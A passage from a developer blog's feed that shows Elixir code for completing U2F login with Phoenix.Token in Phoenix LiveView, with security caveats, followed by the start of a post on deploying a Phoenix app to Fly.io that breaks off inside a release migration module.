&lt;pre id=&quot;code-block-13&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;U2FEx&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;finish_authentication&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;username&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;encoded_response&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;|&gt;&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;case&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;  &lt;span style=&quot;color: #79c0ff;&quot;&gt;:ok&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;-&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;token&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Phoenix.Token&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;sign&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;AppWeb.Endpoint&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;username&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;username&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;callback_path&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Routes&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;login_path&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;socket&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:login&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;token: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;token&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:noreply&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;redirect&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;socket&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;to: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;callback_path&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;error&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;-&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;...&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We want to tell the &lt;code&gt;LoginController&lt;/code&gt; that the user logged in successfully and use a &lt;a href=&quot;https://hexdocs.pm/phoenix/Phoenix.Token.html&quot;&gt;Phoenix.Token&lt;/a&gt; for this purpose. We create a token after the successful login by signing the username with the secret of our &lt;code&gt;AppWeb.Endpoint&lt;/code&gt;. We then redirect to the &lt;code&gt;login-callback&lt;/code&gt;-route and add the &lt;code&gt;token&lt;/code&gt; as a query parameter.&lt;/p&gt;
&lt;p&gt;Now, let&apos;s have a look at the &lt;code&gt;LoginController&lt;/code&gt;, which receives the request:&lt;/p&gt;
&lt;pre id=&quot;code-block-14&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;# /lib/app_web/controller/login_controller.ex&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;defmodule&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;AppWeb.LoginController&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;use&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;AppWeb&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:controller&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;login&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;conn&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;token&quot;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;token&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;    &lt;span style=&quot;color: #ffa657;&quot;&gt;Phoenix.Token&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;verify&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;AppWeb.Endpoint&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;username&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;token&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;max_age: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;60&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;|&gt;&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;case&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;      &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:ok&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;username&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;-&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;        &lt;span style=&quot;color: #e6edf3;&quot;&gt;conn&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;        &lt;span style=&quot;color: #79c0ff;&quot;&gt;|&gt;&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;put_session&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:username&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;username&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;        &lt;span style=&quot;color: #79c0ff;&quot;&gt;|&gt;&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;render&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;success.html&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;username: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;username&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;      &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:error&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;error&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;-&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;        &lt;span style=&quot;color: #d2a8ff;&quot;&gt;render&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;conn&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;failure.html&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;error: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;error&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;16&quot;&gt;    &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;17&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;18&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Also, don&apos;t forget to add the &lt;code&gt;LoginController&lt;/code&gt; to your &lt;code&gt;router.ex&lt;/code&gt;:&lt;/p&gt;
&lt;pre id=&quot;code-block-15&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;# /lib/app_web/router.ex&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;scope&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;/&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;AppWeb&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;  &lt;span style=&quot;color: #d2a8ff;&quot;&gt;pipe_through&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:browser&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;  &lt;span style=&quot;color: #d2a8ff;&quot;&gt;live&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;/&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;PageLive&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:index&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;  &lt;span style=&quot;color: #d2a8ff;&quot;&gt;get&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;/login-callback&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;LoginController&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:login&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;LoginController&lt;/code&gt; receives the callback with the &lt;code&gt;token&lt;/code&gt; as a parameter. It then verifies the token with the secret from the &lt;code&gt;AppWeb.Endpoint&lt;/code&gt;, a signing salt (&lt;code&gt;username&lt;/code&gt;), and a &lt;code&gt;max_age&lt;/code&gt;. In our case, the creation and verification of the token should not take longer than the redirect, so we set the &lt;code&gt;max_age&lt;/code&gt; to 60 seconds. If you set a higher &lt;code&gt;max_age&lt;/code&gt; you risk that an attacker can reuse the token to sign in at a later point in time. Thus, keep the &lt;code&gt;max_age&lt;/code&gt; small.&lt;/p&gt;
&lt;p&gt;After the controller successfully verifies the token, it puts the username into the user&apos;s session and renders the &lt;code&gt;success.html&lt;/code&gt; template. On further requests, the user will now provide her &lt;code&gt;username&lt;/code&gt; in the &lt;code&gt;session&lt;/code&gt; and is therefore fully authenticated. Hurray!&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#caveats&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;caveats&quot;&gt;&lt;/a&gt;Caveats&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;The &lt;code&gt;u2f-api.js&lt;/code&gt; is &lt;code&gt;archived&lt;/code&gt; by now, but I could not find a better library for communicating with my YubiKey. Google recommends using the &lt;a href=&quot;https://github.com/w3c/webauthn&quot;&gt;WebAuthn&lt;/a&gt;-API in the future. However, neither Google nor Yubico gives examples of how to integrate with said API. Yubico&apos;s tutorials use the &lt;a href=&quot;https://github.com/fido-alliance/google-u2f-ref-code/blob/master/u2f-gae-demo/war/js/u2f-api.js&quot;&gt;u2f-api.js&lt;/a&gt; library, which is why I decided to use it for this project also. If you know more about which JavaScript-library to use, please contact me on &lt;a href=&quot;https://bsky.app/profile/peterullrich.com&quot;&gt;BlueSky&lt;/a&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;In your project, don&apos;t use the &lt;code&gt;username&lt;/code&gt; for registering a U2F-device, since others can register a U2F-device for usernames of others as well. Use a &lt;code&gt;user_id&lt;/code&gt; instead.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Be aware that you leak the &lt;code&gt;user_id&lt;/code&gt; to the user&apos;s browser if you use &lt;code&gt;Phoenix.Token&lt;/code&gt; since the tokens are not encrypted. If this is a security issue for you, consider encrypting the &lt;code&gt;user_id&lt;/code&gt; before redirecting the user to the &lt;code&gt;login-callback&lt;/code&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;</content>
    <author>
      <name>Peter Ullrich</name>
    </author>
    <link href="https://peterullrich.com/uf2-with-phoenix-live-view"/>
    <id>https://peterullrich.com/uf2-with-phoenix-live-view</id>
    <title>How to implement U2F Authentication with Phoenix LiveView</title>
    <updated>2021-05-13T06:01:35Z</updated>
  </entry>
  <entry>
    <content type="html">&lt;p&gt;José Valim recently &lt;a href=&quot;https://twitter.com/josevalim/status/1380524993885388804&quot;&gt;tweeted&lt;/a&gt; about the &lt;a href=&quot;https://github.com/fly-apps/phoenix-liveview-cluster&quot;&gt;Liveview-Cluster&lt;/a&gt; project, which showcased how state can be shared among a global cluster of Elixir nodes.&lt;/p&gt;
&lt;p&gt;I found this project impressive, because the global state (a simple counter) was shared by 17 machines all around the globe. What I found even more impressive was &lt;a href=&quot;https://fly.io&quot;&gt;Fly.io&lt;/a&gt;, their server provider. It allowed them to deploy machines in 17 different regions with relative ease.&lt;/p&gt;
&lt;p&gt;I tried out Fly.io recently and would like to share how to get started with it. I will create a new &lt;a href=&quot;https://phoenixframework.org&quot;&gt;Phoenix&lt;/a&gt; project, upload it to fly.io as a Docker image, and provision the application with a Postgres instance. Let&apos;s get started!&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#creating-the-application&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;creating-the-application&quot;&gt;&lt;/a&gt;Creating the application&lt;/h2&gt;
&lt;p&gt;First, let&apos;s create a new Phoenix application with:&lt;/p&gt;
&lt;pre id=&quot;code-block-0&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-bash&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;mix&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;phx.new&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;my_app&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;--live&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This will create a basic &lt;a href=&quot;https://github.com/phoenixframework/phoenix_live_view&quot;&gt;Phoenix LiveView&lt;/a&gt; project with a database connection using &lt;a href=&quot;https://hexdocs.pm/ecto/Ecto.html&quot;&gt;Ecto&lt;/a&gt;. We want to run the database migration every time the application starts. Since we will create a &lt;a href=&quot;https://hexdocs.pm/mix/Mix.Tasks.Release.html&quot;&gt;Mix Release&lt;/a&gt; for the application, we cannot use &lt;a href=&quot;https://hexdocs.pm/mix/Mix.html&quot;&gt;mix&lt;/a&gt; for migrating the database. The recommended solution is to create a custom &lt;code&gt;Release&lt;/code&gt; module, which takes care of migrating the repo.&lt;/p&gt;
&lt;p&gt;Create a &lt;code&gt;/lib/my_app/release.ex&lt;/code&gt; file and copy the following code into it:&lt;/p&gt;
&lt;pre id=&quot;code-block-1&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;defmodule&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;MyApp.Release&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;  &lt;span style=&quot;color: #79c0ff;&quot;&gt;@&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;app &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:my_app&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;migrate&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;    &lt;span style=&quot;color: #d2a8ff;&quot;&gt;load_app&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;    &lt;span style=&quot;color: #ff7b72;&quot;&gt;for&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;repo&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;&lt;-&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;repos&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;      &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:ok&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #8b949e;&quot;&gt;_&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #8b949e;&quot;&gt;_&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;        &lt;span style=&quot;color: #ffa657;&quot;&gt;Ecto.Migrator&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;with_repo&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;          &lt;span style=&quot;color: #e6edf3;&quot;&gt;repo&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;          &lt;span style=&quot;color: #79c0ff;&quot;&gt;&amp;&lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;Ecto.Migrator&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;run&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&amp;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:up&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;all: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;true&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;        &lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;    &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;16&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;rollback&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;repo&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;version&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;17&quot;&gt;    &lt;span style=&quot;color: #d2a8ff;&quot;&gt;load_app&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;18&quot;&gt;
